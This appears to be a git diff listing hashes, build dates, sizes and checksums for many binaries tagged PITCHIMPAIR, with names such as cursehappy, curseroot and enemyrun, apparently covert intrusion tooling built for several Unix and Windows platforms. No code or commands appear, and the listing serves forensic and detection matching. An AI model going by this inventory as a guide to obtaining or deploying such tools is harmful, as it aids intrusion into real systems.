+EB36543FF084B04AEE005D848EE3A9568A6674CA Thu Aug 27 16:45:39 2009 [PITCHIMPAIR.xx] cursetingle.sunos5.8_v.2.0.0.1 +08E4FF1E990A02810623A37796B9FB82D6655F25 Thu Aug 27 16:45:39 2009 [PITCHIMPAIR.xx] cursetingle.aix.5.1_v.2.0.0.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:25:00 2010 [PITCHIMPAIR.xx] cursetingle.aix5.1_v.2.0.1.1 +8ABAC3C15A23BA4DDCD52114F96B4BB740EFF6B3 Wed Jun 1 14:15:02 2011 [PITCHIMPAIR.xx] cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:39:40 2010 [PITCHIMPAIR.xx] cursetingle.2.0.1.2.mswin32_v.2.0.1.1 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:39:34 2010 [PITCHIMPAIR.xx] cursetingle.sunos5.8_v.2.0.1.1 +41DC7887C46CCDEA6A771FF0201E29193754FCCF Thu Jul 10 13:14:23 2008 [PITCHIMPAIR.xx] cursetingle.sunos.5.9_v.1.0.0.7 +D7F9D7433CB9E3F14C6640DE19DFCCD2CB6C295C Thu Jul 10 13:14:15 2008 [PITCHIMPAIR.xx] cursetingle.mswin32_v.1.0.0.7 +EA087A035E3E01804E8E43C9DA8AB58C25A3038B Tue Mar 20 16:51:45 2012 [PITCHIMPAIR.xx] cursewham.linuxrh7.3.i686_v.1.1.0.1 +E6D8C35163092B1235B6356214610361B6FBB7DC Tue Feb 28 16:41:16 2012 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.1.0.1 +427536C8C3BBC2B60217AD36F3BB7CE107810933 Thu Aug 11 12:53:41 2011 [PITCHIMPAIR.xx] cursewham.win2k.i686_v.1.0.0.3 +A58C9E3E5B1AC639A6984D1CA271C568C2AFDCE3 Thu Apr 14 13:14:02 2011 [PITCHIMPAIR.xx] cursezinger_flx.win2k.i686_v.1.0.0.2 +23D1A5F85A02ECDBF14FE77A7D9C256AE63A1053 Tue Jul 19 16:44:55 2011 [PITCHIMPAIR.xx] cursezinger.win2k_v.2.0.0.2 +D01B0DBD4496AB9C47E64272AA01EC8AAFC6D84D Tue Jul 19 16:44:55 2011 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.2.0.0.2 +52FA122317861F7B506BD42435E6A96F48C69514 Fri Jan 27 21:18:13 2012 [PITCHIMPAIR.xx] cursezinger.sunos5.8_v.2.0.0.2 +8849F4B7B2DD9F106BB1499D9474E9BEE5FF3C64 Wed Jun 16 12:14:36 2010 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.1.0.0.1 +BC7C9839441097E8D1DA64E9864D0474F2452572 Wed Jun 16 13:01:49 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.0.0.1 +6E4C1302C79A610EBFA3B24BBAAFA67F438D865B Fri Sep 17 17:06:38 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.1.0.3 +52432EFB738D4EE975D1064BFCB0E73195991C04 Fri Sep 17 17:06:38 2010 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.1.1.0.3 +9A6B894B022E311F059EFB50DDB656CEF014DF64 Wed Oct 13 12:41:22 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.2.0.1 +F6567080A506403DFA7399AA4EBCE64DD9DCDD52 Fri Oct 22 14:37:57 2010 [PITCHIMPAIR.xx] cursezinger.win2k_v.1.2.1.1 +6BCA7BFF280DCB01D708286E376410C438B6F9B4 Fri Oct 22 14:37:57 2010 [PITCHIMPAIR.xx] cursezinger.linuxrh7.3_v.1.2.1.1 +206FB9B0C4082713BF196ED46B9804ED396755F6 Mon Jul 23 14:19:24 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_editionhaze.def +CF097DD7F41B28BEF37872C3A365F06C745795F8 Mon Jul 23 14:21:07 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_silenttongues.def +6CD24B209838FB24E1C315B562BC20DE84E2AECE Mon Jul 23 14:20:57 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_sicklestar.def +94FB6A9E314411A8B7E218FE9D90024D7CD2F5BC Mon Jul 23 14:20:20 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_liquidsteel.def +F90BF1760240DE17E5FC071F1C3063A05E1DD520 Mon Jul 23 14:20:34 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_serenecosmos.def +0D7217C6F1F1A51D7D6FC0CA007256677C3190EF Mon Jul 23 14:21:25 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_wholeblue.def +787291960EA1A4A25FCB7CEC211CD6877F3FF283 Mon Jul 23 14:19:13 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_diamondaxe.def +2B1F44DB220DC26A58007DA88B0683952B40D520 Mon Jul 23 14:20:46 2007 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.1.0.6_solaris8_shakengiraffe.def +A08866353BC5953B6346F07E0607E4B93504098D Mon Nov 27 20:44:15 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_editionhaze.def +258C7D06A42F22F0D2855DB2EE499C5B44BB412B Mon Nov 27 20:45:30 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_silenttongues.def +EEF893ED6057D23F410EF37B82F4F7B9478BBDC3 Mon Nov 27 20:45:22 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_sicklestar.def +63DE1E981DB1317838756EBCDDAC8483AAF93AFE Mon Nov 27 20:44:41 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_liquidsteel.def +42BE054AE4D7EBEB277254A95272B261F0361227 Mon Nov 27 20:45:02 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_serenecosmos.def +50D7874B6856A3E89C31CCFE8CBBD02E0FD5E345 Mon Nov 27 20:45:38 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_wholeblue.def +0222399D32F29B0539FCDA4FC2122953CED91F95 Mon Nov 27 20:45:14 2006 [PITCHIMPAIR.xx] cursehappy-solaris_v.4.0_shakengiraffe.def +0564E3F02B58EA50F9E37AD41ED8894484A2D0BA Thu Apr 12 11:59:40 2012 [PITCHIMPAIR.xx] curseclash.v1.0.0.3.aix5.1.powerpc_v.superceded +C8C5F054286140C25FC96F82F099D76D67E136ED Thu Jul 22 13:03:48 2010 [PITCHIMPAIR.xx] cursetingle_flx.v1.0.0.9.aix5.1.powerpc_v.superceded +8CA41956ED63025C8760F3EBD4B704F7C7CB7F70 Wed Jan 2 21:36:42 2008 [PITCHIMPAIR.xx] cursehappy.v4.1.2.4.sunos5.8_v.4.1.2.4_solaris8 +D5A0ED87A0E5029AA0A8568EFD2F8ACFEFC0DC2E Fri Dec 11 14:04:25 2009 [PITCHIMPAIR.xx] curseroot.aix5.1_v.2.0.0.3.00000 +7992D84590400AEA7ACCC172402AC497889A4491 Fri Dec 11 14:04:25 2009 [PITCHIMPAIR.xx] curseroot.win2k_v.2.0.0.3.00000 +BD253FF1DB61808424630608C610E4C7B8A6CC01 Mon Mar 19 12:22:58 2012 [PITCHIMPAIR.xx] curseroot.aix5.1.powerpc_v.2.2.0.7.00001 +3D7B80D8003A10D08ECA4FFDD595F105FAB50FA3 Wed Mar 28 11:54:51 2012 [PITCHIMPAIR.xx] curseroot.hpux11.00.risc_v.2.2.0.7.00001 +253E0E246633E603E58DAB97E1D4782FB7DDDA84 Fri Mar 23 11:43:49 2012 [PITCHIMPAIR.xx] curseroot.win2k.i686_v.2.2.0.7.00001 +8D8996D5B82BC9AAA0310B982FD048FB77644107 Wed Mar 28 11:54:59 2012 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp.i686_v.2.2.0.7.00000 +D114B8EC196B7DEFEEE751CE73932B6F952178BE Wed Mar 28 11:55:10 2012 [PITCHIMPAIR.xx] curseroot.sunos5.8.sparc_v.2.2.0.7.00000 +201F963039FDED3AA70DE84AF5DCCF47541C14DF Fri Dec 11 14:04:26 2009 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3.00000 +F992E901527ECEE524CDA9BA5F0C8F70942DB4CB Fri Dec 11 14:04:26 2009 [PITCHIMPAIR.xx] curseroot.sunos5.8_v.2.0.0.3.00000 +99FDFEC3A7987E0AC44A70A1E151B0D7CF255F93 Mon Feb 13 12:47:09 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.4.0.0.5 +7120D410762BEFC7C52320DD3EADC6E9F9572B48 Mon Feb 13 12:47:09 2012 [PITCHIMPAIR.xx] enemyrun.hpux11.00_v.4.0.0.5 +BA230F9E0CDB877EFEB4D0FA607E60E249852D42 Mon Feb 13 12:47:09 2012 [PITCHIMPAIR.xx] enemyrun.linuxrhe3.6_v.4.0.0.5 +6ED9AEE28FF29FC7662E917966E8DACA88684FBB Mon Feb 13 12:47:09 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.4.0.0.5 +0992DC598EC7BD5F9AEA57B27FD9C768189CC727 Mon Feb 13 12:47:09 2012 [PITCHIMPAIR.xx] enemyrun.linuxrh7.3_v.4.0.0.5 +7E002B46EE7384D3BE2CDF6DAAD6CD3930622042 Wed Aug 8 13:59:20 2012 [PITCHIMPAIR.xx] enemyrun.hpux11.00_v.4.0.1.2 +46AB7FF7485F9EB12926303DFF123F6239D007F2 Wed Aug 8 13:59:20 2012 [PITCHIMPAIR.xx] enemyrun.linuxrhe3.6_v.4.0.1.2 +0E41BE4D91401CA3D89A2C73147DC4EC07F00464 Wed Aug 8 13:59:20 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8.i386_v.4.0.1.2 +FE628F79D61434F1D5009A63FD9791ED6067ECCD Wed Aug 8 13:59:20 2012 [PITCHIMPAIR.xx] enemyrun.linuxrh7.3_v.4.0.1.2 +5B361CEBDE1081B9512144EBD9E2A8B5E0C9EE7E Wed Aug 8 13:59:20 2012 [PITCHIMPAIR.xx] enemyrun.sunos5.8_v.4.0.1.2 +E0D3C2B414F88E9A82D2A20E5BF530999DF1685B Mon Jul 26 12:51:48 2010 [PITCHIMPAIR.xx] skimcountry.sunos5.8_v.2.0.0.3 +C6B0D0D7DE22D73BA10D489F54DEEEBA1F160667 Mon Jul 26 12:51:48 2010 [PITCHIMPAIR.xx] skimcountry.aix5.1_v.2.0.0.3 +410E467CC96BDCF8A0382BB08D6128282893A6D9 Fri Oct 22 15:49:31 2010 [PITCHIMPAIR.xx] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +760F723A7DA566B4D850AAD691136BCA0E964C91 Mon Jun 6 18:04:22 2011 [PITCHIMPAIR.xx] skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 +D2BF3E02231A43E1C23EB6953D1225E3759417B2 Fri Apr 5 20:50:33 2013 [PITCHIMPAIR.xx] store-linux-i386_v.3.1.1.2 +CD30BDFE72B6637BFF56054BD5DC28688DEEAEF5 Fri Apr 5 20:50:33 2013 [PITCHIMPAIR.xx] watcher-linux-i386_v.3.1.1.2 +A5DD19C52F4D0EFE23258E7D0121572560A91226 Fri Apr 5 20:50:33 2013 [PITCHIMPAIR.xx] watcher-linux-x86_64_v.3.1.1.2 +75CC2105A7D388E43A8A8EE8F272B5582A10CED5 Fri Apr 5 20:50:33 2013 [PITCHIMPAIR.xx] watcher-solaris-sparc_v.3.1.1.2 +A4606FDC49500410A98A8DA669D581A74C59CEBA Fri Apr 5 20:50:33 2013 [PITCHIMPAIR.xx] watcher-solaris-i386_v.3.1.1.2 +F164DAA27C131789A26E9C593C49EC22329D87CD Thu Jun 6 20:50:25 2013 [PITCHIMPAIR.xx] store-linux-i386_v.3.2.0.1 +7931C34D569CBB5BCDB197601A6185F762F6A597 Thu Jun 6 20:50:25 2013 [PITCHIMPAIR.xx] watcher-linux-i386_v.3.2.0.1 +E889F35D95B17FAEA273BE16AD3F0DC1AECE92F9 Thu Jun 6 20:50:25 2013 [PITCHIMPAIR.xx] watcher-linux-x86_64_v.3.2.0.1 +40C35E6CAE4CB2414BBE4B4F631683A8EFF9427B Thu Jun 6 20:50:25 2013 [PITCHIMPAIR.xx] watcher-solaris-sparc_v.3.2.0.1 +AB1B72AC2A08724E8702047555C51620E23CCBAF Thu Jun 6 20:50:26 2013 [PITCHIMPAIR.xx] watcher-solaris-i386_v.3.2.0.1 +5CF7686B1BD84675D7530B6CD627538C6B56F145 Thu Sep 12 15:58:02 2013 [PITCHIMPAIR.xx] store-linux-i386_v.3.3.0.1 +93512B5BBD3F5079187F0BEF17CAA378758A5CBD Thu Sep 12 15:58:02 2013 [PITCHIMPAIR.xx] watcher-linux-i386_v.3.3.0.1 +CE3CC68E01FBA2D30D13406324B87C125E4C80CE Thu Sep 12 15:58:02 2013 [PITCHIMPAIR.xx] watcher-linux-x86_64_v.3.3.0.1 +A3A5062CB14A7212C6417BAFED8366B13F4DA005 Thu Sep 12 15:58:02 2013 [PITCHIMPAIR.xx] watcher-solaris-sparc_v.3.3.0.1 +61AE7B67D32E7662250ED1C81C296D6C06A2702B Thu Sep 12 15:58:02 2013 [PITCHIMPAIR.xx] watcher-solaris-i386_v.3.3.0.1 diff --git a/Linux/up/tools.sums.txt b/Linux/up/tools.sums.txt new file mode 100644 index 0000000..c52dcf6 --- /dev/null +++ b/Linux/up/tools.sums.txt @@ -0,0 +1,570 @@ +# FILE SIZE cksum sum solarissum + charm_fiesta.hp-uxb.11.00_v.1.1.0.7 65536 1285782147 46627 5073 + charm_hammer.linuxrh7.3.i686_v.1.0.0.3 133776 2112957847 37260 46614 + charm_penguin.sunos5.10_v.1.0.0.6 48504 3238788139 16251 32168 + charm_penguin.sunos5.8_v.2.0.0.1 140388 3995698530 51155 188 + charm_penguin.sunos5.8_v.2.0.1.4 140388 2381583960 15166 50862 + charm_razor.win2k_v.2.0.0.1 128000 1451219500 24792 37268 + charm_razor.linux2.6.5-7.97-smp.i686_v.2.1.0.2 149160 2517413002 11127 39535 + charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 56632 226825469 46664 40920 + charm_razor.sunos5.9_v.1.1.0.3 59568 91737847 17306 42859 + charm_razor.sunos5.8_v.1.2.0.2 59228 4192771466 38533 62528 + charm_razor.linuxsuse9.0_v.1.2.0.2 56632 680536732 24974 59306 + charm_saver.hp-uxb.11.11_v.1.0.0.1 69632 3630848700 37489 50075 + charm_saver.hpux11.00_v.2.0.0.2 135168 2809723314 33326 33264 + charm_saver.win2k_v.2.0.0.2 129024 4072671704 43512 9330 + charm_uno.sunos5.9_v.1.1.0.4 59068 454980940 19934 34383 + charm_vortex.sunos5.8_v.1.0.0.2 130904 962184551 43641 40306 + charm_vortex.sunos5.8_v.1.0.1.2 134012 25154499 02604 13777 + charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 44036 1037772173 34535 63790 + charm_uno.v2.0.0.3.linuxrh7.3_v.linux 104832 2378762621 46734 27954 + charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 41712 2961548002 49558 62226 + crypttool.linux2.4.21-37.elsmp_v.1.5.0.8 11072 2677364788 40689 57717 + crypttool.sunos5.8.sparc_v.2.0.1.3 103752 2298364610 45700 50799 + crypttool.linux2.4.18-3_v.2.0.1.3 75628 3045942630 25490 52712 + crypttool.sunos5.8.i386_v.2.0.1.3 116496 910318730 48259 1425 + crypttool.win2k_v.2.0.1.3 100352 3256855359 19983 12213 + crypttool.hpuxb.11.00_v.2.0.1.3 126976 1116022089 17484 16599 + crypttool.aix5.1_v.2.0.1.3 111281 66028508 58618 45955 + crypttool.sunos5.8.sparc_v.2.1.0.2 143972 317161976 64363 29575 + crypttool.linux2.4.18-3_v.2.1.0.2 99628 248651161 20216 28548 + crypttool.sunos5.8.i386_v.2.1.0.2 141488 2728244747 28365 57852 + crypttool.win2k_v.2.1.0.2 128512 3143510205 50682 36598 + crypttool.hpuxb.11.00_v.2.1.0.2 151552 2602907135 58110 1617 + crypttool.aix5.1_v.2.1.0.2 148961 3152687348 64177 18932 + crypttool.linux2.4.18-3_v.2.0.0.15 75500 4219473146 54809 40127 + cursegismo.sunos5.8_v.1.1.1.1 56032 2119034623 44366 5880 + cursegismo.sunos5.9_v.1.1.1.1 59404 3431640361 44871 47291 + cursehydrant.hp-uxb.11.00_v.6.0.0.6 69632 2730536067 23201 29195 + cursehydrant.hp-uxb.11.11_v.6.0.0.6 69632 3469957415 04973 16073 + cursemagic.sunos5.8_v.1.1.0.3 65672 3682722919 42991 61390 + cursemagic.sunos5.9_v.1.1.0.3 65956 821555292 03972 28658 + cursebingo.sunos5.10_v.1.0.1.2 41444 2200294884 11804 21282 + cursebongo.sunos5.10_v.1.0.0.4 31580 2547692562 30492 38426 + cursebongo.sunos5.8_v.2.0.0.1 139348 3981776761 62992 62647 + cursebongo.sunos5.8_v.1.1.0.1 67204 1662188603 25032 4384 + cursechicken.sunos5.8_v.1.0.1.4 62604 3169135528 07424 61567 + cursechicken.sunos5.8_v.1.0.0.1 57116 1988781962 51659 42621 + curseclash.aix5.1.powerpc_v.1.0.1.1 189204 1247555263 03253 9434 + curseclash_flx.sunos5.8.sparc_v.1.0.0.3 268404 3549940038 43413 38925 + curseclash_flx.aix5.1.powerpc_v.1.0.0.3 338539 3544150145 42455 49546 + cursedevo.sunos5.8_v.1.0.0.3 149932 3585726772 28443 50325 + cursefire.linuxrh7.3.i686_v.1.1.0.2 154544 1039750187 59895 54814 + cursefire.sunos5.8.sparc_v.1.0.0.3 158600 2558715541 41015 33900 + curseflower.mswin32_v.1.0.0.3 90112 1985062419 18896 47647 + cursegismo.sunos5.8_v.1.1.0.4 58928 2212791441 32684 63118 + cursegismo.linuxrh7.3_v.2.0.0.2 121624 3039175349 38874 23207 + cursegismo.sunos5.8_v.2.0.0.2 166508 3650214234 13976 40359 + cursegismo.hpuxb.11.00_v.2.0.0.2 151552 2404513618 64926 21918 + cursegismo.sunos5.8.i386_v.2.1.0.1 160936 3497525570 10444 5600 + cursegismo.linuxrh7.3_v.2.1.0.1 121548 3715354245 20944 37150 + cursegismo.sunos5.8_v.2.1.0.1 172596 2401859147 26922 52333 + cursegismo.hpux11.00_v.2.1.0.1 155648 1048643453 28701 2274 + cursegismo.sunos5.8_v.1.2.0.2 65932 3555538394 61509 34882 + cursegismo.sunos5.8.sparc_v.2.2.0.2 201916 1968491981 55322 4496 + cursegismo.sunos5.8.i386_v.2.2.0.2 193260 824071257 32241 38052 + cursegismo.linuxrh7.3.i686_v.2.2.0.2 148776 3858703513 43819 49461 + cursegismo.sunos5.8.i386_v.2.0.0.5 155060 1476936287 40325 51145 + cursehappy.hp-uxb.11.00_v.5.0.0.5 77824 3793389417 54798 22769 + cursehappy.sunos5.8_v.5.0.0.5 74120 4009497509 39508 57634 + cursehappy.mswin32_v.5.0.0.5 94208 208482002 07468 60091 + cursehappy.hp-uxb.11.11_v.4.1.2.4 1859584 2302649716 33019 18135 + cursehappy.win2k_v.6.0.0.1 80896 902732025 34814 8351 + cursehappy.rhl7.3_v.6.0.0.1 118872 3335983393 64569 52778 + cursehappy.hp-uxb.11.00_v.6.0.0.1 151552 3404938804 10577 57918 + cursehappy.sunos5.8_v.6.0.0.1 152252 3035988714 25161 22509 + cursehappy.sunos5.8_v.6.1.0.1 161564 4281879084 25472 34846 + cursehappy.hpux11.00_v.6.1.0.1 159744 1992944929 44034 28301 + cursehappy.win2k_v.6.1.0.1 150528 1910129873 23158 58895 + cursehappy.linuxrh7.3_v.6.1.0.1 123184 2161229410 48141 9448 + cursehappy.linuxrh7.3.unknown_v.6.2.0.3 155836 1950211397 07726 51556 + cursehappy.hpux11.00.risc_v.6.2.0.3 176128 3806395765 02724 44677 + cursehappy.win2k.i686_v.6.2.0.3 170496 1183909897 02339 3052 + cursehappy.sunos5.8.sparc_v.6.2.0.3 180936 51457078 37748 44755 + cursehelper.win2k_v.2.1.0.2 142336 933130206 24878 64656 + cursehelper.sunos5.8_v.2.1.0.2 152004 3750919642 34972 55494 + cursehelper.hpux11.00_v.2.1.0.2 147456 481961459 06585 60105 + cursehelper.aix5.1_v.2.1.0.2 191061 973745972 00104 51956 + cursehelper.win2k.i686_v.2.2.0.4 162816 2787389769 05516 6932 + cursehelper.sunos5.8.sparc_v.2.2.0.4 190188 2633929931 02930 36911 + cursehelper.aix5.1.powerpc_v.2.2.0.4 193597 4012475820 56804 59547 + cursehelper.hpux11.00.risc_v.2.2.0.4 208896 800678791 45188 11595 + cursehelper.hp-uxb.11.00_v.1.1.0.1 73728 695320636 13786 29916 + cursehelper.sunos5.8_v.1.1.0.1 67180 1452211910 54509 13514 + cursehelper.linuxrh7.3.i686_v.2.2.1.1 175868 475785651 46886 24066 + cursehelper.sunos5.8.i386_v.2.2.0.4 195336 1988946024 45737 41283 + cursehole_flx.aix5.1.powerpc_v.1.0.0.4 377371 2681554099 37509 63719 + cursehole_flx.sunos5.8.sparc_v.1.0.0.3 299096 4141793404 37558 55633 + cursehydrant.hp-uxb.11.00_v.6.1.0.2 65536 2552445006 63293 61889 + cursehydrant.sunos5.8_v.6.1.0.2 62104 542450193 55512 43779 + cursejoker.aix5.1_v.1.0.0.4 179957 930112664 03692 7907 + cursekettle.hpux11.00.risc_v.1.1.0.2 176128 2364719211 16877 26818 + cursekettle.sunos5.8_v.1.0.0.2 60108 2243636501 10825 46330 + cursekiln.sunos5.8_v.1.0.0.2 176404 2350204552 27241 29410 + cursekiln.sunos5.8_v.1.0.1.3 176692 4029566111 43116 8599 + curselion.aix5.1.powerpc_v.2.0.0.2 222888 1185259887 59082 24042 + cursemagic.sunos5.8_v.1.0.0.0 63052 2795023847 62889 24380 + cursemagic.sunos5.8_v.1.2.0.2 69968 1487201815 64171 47485 + cursemagic.aix5.1_v.2.1.0.3 224264 2892482690 20212 56702 + cursemagic.linuxrh7.3_v.2.1.0.3 146812 3739978016 60850 60509 + cursemagic.sunos5.8_v.2.1.0.3 167836 598611910 30306 20384 + cursemagic.hpux11.00_v.2.1.0.3 163840 2684793360 63580 63601 + cursemagic.solaris5.8_v.2.0.1.1 140248 1248938891 58383 16679 + cursemagic.linuxrh7.3_v.2.0.1.1 113432 3153799582 01885 22339 + cursemagic.hpux11.00_v.2.0.1.1 139264 1919573794 54402 9001 + cursemagic.aix5.1_v.2.0.1.1 198300 2876776973 04202 14685 + cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 53408 2441618935 64676 3295 + cursemagic.sunos5.8_v.1.3.0.5 74620 3234158720 23749 13651 + cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 56724 207296234 22777 59489 + cursemagic.rhl7.3_v.1.3.0.5 62772 3162802334 44131 3770 + cursemagic.linuxrh7.3_v.2.0.0.1 113432 167693029 55807 14486 + cursemagic.solaris5.8_v.2.0.0.1 140624 1690841195 12267 19685 + cursenag.sunos5.8_v.1.0.0.1 148824 4216236752 48499 25454 + cursequake.sunos5.8_v.1.0.0.2 138728 2219816470 53554 24668 + cursequake.sunos5.8_v.1.1.0.4 151108 706987852 08863 21242 + curserazor.sunos5.10_v.1.1.1.1 39676 3416494995 15730 22487 + curserazor.sunos5.10_v.1.2.0.7 65384 305811214 01661 25903 + curserazor.sunos5.10_v.1.3.0.5 53456 733184331 07508 63261 + curserazor.mswin32_v.1.3.0.5 86016 874321155 19600 59845 + curserazor.sunos5.8_v.1.3.1.8 61532 451177918 40120 17665 + curserazor.mswin32_v.1.3.1.8 86016 2208599433 41162 58749 + curserazor.win2k_v.2.0.0.5 142336 3614550981 32141 38186 + curserazor.sunos5.8_v.2.0.0.5 151712 266392035 36062 20560 + curserazor.win2k_v.2.0.1.1 145920 3665025734 52447 19736 + curserazor.sunos5.8_v.2.0.1.1 156956 2913942188 43306 37613 + curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 139368 2738524079 30084 17788 + curseroot.aix5.1_v.2.0.0.3 206940 4220672519 01458 41704 + curseroot.win2k_v.2.0.0.3 83968 3199238746 00188 16711 + curseroot.sunos5.8_v.2.0.0.3 156004 1488178427 29645 44513 + curseroot.sunos5.8_v.2.1.0.8 174600 3865000465 62188 465 + curseroot.hpux11.00_v.2.1.0.8 159744 442481978 53445 33604 + curseroot.aix5.1_v.2.1.0.8 212828 1016031690 09045 37291 + curseroot.linux2.6.5-7.97-smp_v.2.1.0.8 152164 2191768342 35020 43082 + curseroot.win2k_v.2.1.0.8 153088 1978315693 29292 787 + curseroot.aix5.1.powerpc_v.2.2.0.7 186520 4003638340 58818 34225 + curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 96293 816171095 18516 14921 + curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 56328 1120697341 27207 53347 + curseroot.v1.2.0.2.mswin32_v.1.2.0.1 86016 3831955783 57092 58718 + curseroot.sunos5.8_v.1.2.2.9 61908 91720371 30642 60130 + curseroot.mswin32_v.1.2.2.9 90112 3674847582 02019 56223 + curseroot.aix5.1_v.1.2.2.9 101741 4212013735 56643 29014 + curseroot_flx.hpux11.00.risc_v.1.1.0.3 294912 1121890451 23116 52861 + curseroot.hpuxb.11.00_v.2.0.0.3 143360 3733355325 60984 39977 + curseroot.linux2.6.5-7.97-smp.i686_v.2.2.0.7 156708 2625294666 57226 32834 + curseroot.hpux11.00.risc_v.2.2.0.7 200704 2946922064 06310 57635 + curseroot.win2k.i686_v.2.2.0.7 157184 669967646 13502 29530 + curseroot.sunos5.8.sparc_v.2.2.0.7 180296 3651556126 24857 35687 + curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 60728 1919049662 13932 562 + cursesalsa.hpux11.00.risc_v.1.0.0.1 180224 3477337387 60490 57830 + cursesleepy.mswin32_v.1.0.0.5 81920 693236723 15328 26517 + cursetails.aix5.1_v.1.0.0.1 180276 4044734128 31290 58204 + cursetingle.aix.5.1_v.1.1.1.1 99925 2516963645 50006 1948 + cursetingle.mswin32_v.2.0.0.1 98304 3746339119 48113 52565 + cursetingle.sunos5.8_v.2.0.0.1 137132 1479052110 35756 44597 + cursetingle.aix.5.1_v.2.0.0.1 180813 2891705692 59684 10363 + cursetingle.aix5.1_v.2.0.1.1 184593 3105856638 26898 26451 + cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 259141 2828128604 39262 42960 + cursetingle.2.0.1.2.mswin32_v.2.0.1.1 98304 1876770440 20050 12575 + cursetingle.sunos5.8_v.2.0.1.1 142392 3826035928 56373 14520 + cursetingle.sunos.5.9_v.1.0.0.7 55444 986565815 56621 50199 + cursetingle.mswin32_v.1.0.0.7 81920 467686355 09311 12178 + cursewham.linuxrh7.3.i686_v.1.1.0.1 129648 4052230338 51775 33743 + cursewham.win2k.i686_v.1.1.0.1 136192 2405279675 50768 26522 + cursewham.win2k.i686_v.1.0.0.3 135168 3859843989 24516 31571 + curseyo.win2k_v.1.0.0.1 64000 1497165595 22488 60014 + cursezinger_flx.win2k.i686_v.1.0.0.2 262656 3131462353 37427 20791 + cursezinger.win2k_v.2.0.0.2 155648 1139756440 63461 7620 + cursezinger.linuxrh7.3_v.2.0.0.2 146512 23087955 55272 41261 + cursezinger.sunos5.8_v.2.0.0.2 167028 845090707 25277 38441 + cursezinger.linuxrh7.3_v.1.0.0.1 125880 4253402431 45933 16844 + cursezinger.win2k_v.1.0.0.1 139264 2191543083 27871 51316 + cursezinger.win2k_v.1.1.0.3 138240 2382619163 09901 381 + cursezinger.linuxrh7.3_v.1.1.0.3 117272 756885449 58885 62504 + cursezinger.win2k_v.1.2.0.1 142336 545843415 57530 59663 + cursezinger.win2k_v.1.2.1.1 142848 2300782138 03792 58131 + cursezinger.linuxrh7.3_v.1.2.1.1 117272 991474873 07665 52134 + cursehappy_hpux_v.6.0.0.1_liquidsteel.def 11967 309534018 16427 17184 + cursehappy_hpux_v.6.0.0.1_wholeblue.def 12728 3426441111 04364 8623 + cursehappy_hpux_v.6.0.0.1_serenefire.def 10941 3007513211 24482 6050 + cursehappy_hpux_v.6.0.0.1_shakengiraffe.def 17523 2949704008 58696 22659 + cursehappy_hpux_v.6.0.0.1_coastalvortex.def 8340 1913960233 36854 10125 + cursehappy_hpux_v.6.0.0.1_sloshedgalah_a.def 10212 3894506520 63074 6453 + cursehappy_hpux_v.6.0.0.1_sloshedgalah.def 15848 3676360765 21895 30784 + cursehappy_hpux_v.6.0.0.1_editionhaze.def 9648 1923445065 45307 42332 + cursehappy_hpux_v.6.0.0.1_silenttongues.def 11020 3867892359 22419 8308 + cursehappy_hpux_v.6.0.0.1_sicklestar.def 10007 1773735182 36043 60709 + cursehappy_hpux_v.6.0.0.1_serenecosmos.def 10941 3644008379 30048 6048 + cursehappy_hpux_v.6.0.0.1_diamondaxe.def 10645 3737860963 65119 43836 + cursehappy_hpux_v.6.0.0.1_coastalstorm.def 8186 1678361808 17016 64646 + cursehappy_hpux_v.6.0.0.1_coastalburn.def 8186 1112915560 46098 64629 + cursehappy_hpux_v.6.0.0.1_darkaxe.def 15605 2431309579 12787 10631 + cursehappy_hpux_v.6.0.0.1_paperfish.def 11441 381502248 06547 40942 + cursehappy_hpux_v.6.0.0.1_darkaxe_moc_mtc_only.def 3964 2001215412 41684 30257 + cursehappy_hpux_v.6.1.0.1_wholeblue.def 12712 415534325 41346 7320 + cursehappy_hpux_v.6.2.0.3_liquidsteel.def 12565 3825121023 43223 63704 + cursehappy_hpux_v.6.2.0.3_wholeblue.def 13309 2626011780 28211 53831 + cursehappy_hpux_v.6.2.0.3_serenefire.def 11539 